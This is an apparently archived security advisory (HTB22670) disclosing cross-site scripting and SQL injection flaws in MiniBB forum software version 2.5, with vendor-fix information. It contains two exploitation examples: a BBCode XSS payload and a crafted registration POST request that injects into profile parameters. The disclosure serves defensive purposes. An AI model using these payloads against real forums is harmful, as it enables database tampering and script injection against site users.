In view of COVID-19 precaution measures, we remind you that ImmuniWeb Platform allows to easily configure and safely buy online all available solutions in a few clicks.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in MiniBB

Advisory ID:HTB22670
Vulnerable Versions:2.5 and probably prior
Tested Version:2.5
Advisory Publication:October 21, 2010 [without technical details]
Vendor Notification:October 21, 2010
Public Disclosure:November 4, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in MiniBB which could be exploited to perform script insertion and SQL injection attacks.

1) Script insertion vulnerability in MiniBB
Input passed to the "[url]" BBCode tag is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
[imgs=http://nosuch.gif][url=http://onerror=javascript:alert(/XSS/);"']123[/ url][/imgs]

2) SQL injection vulnerability in MiniBB
The vulnerability exists due to input sanitation errors in the "icq", "occupation", "from", "interest", "viewemail", "user_sorttopics" and "language" parameters in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
POST /index.php?action=registernew HTTP/1.1
Host: [host]
Referer: http://[host]/index.php?action=registernew
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
action=register&login=pentest&passwd=pentest&passwd2=pentest&email=pent 1%5C%5C&occupation=2%5C%5C&from=3%5C%5C&interest=4%5C%5C&user_viewemail=5%5C %5C&user_sorttopics=6%5C %5C&language=7%5C%5C&login=Login

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Upgrade to version 2.5a.

[1] High-Tech Bridge Advisory HTB22670 - - Multiple Vulnerabilities in MiniBB
[2] MiniBB - – MiniBB is a flat-type (not threaded) free web forum and discussion software, open source PHP bulletin board.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
How it Works Ask a Question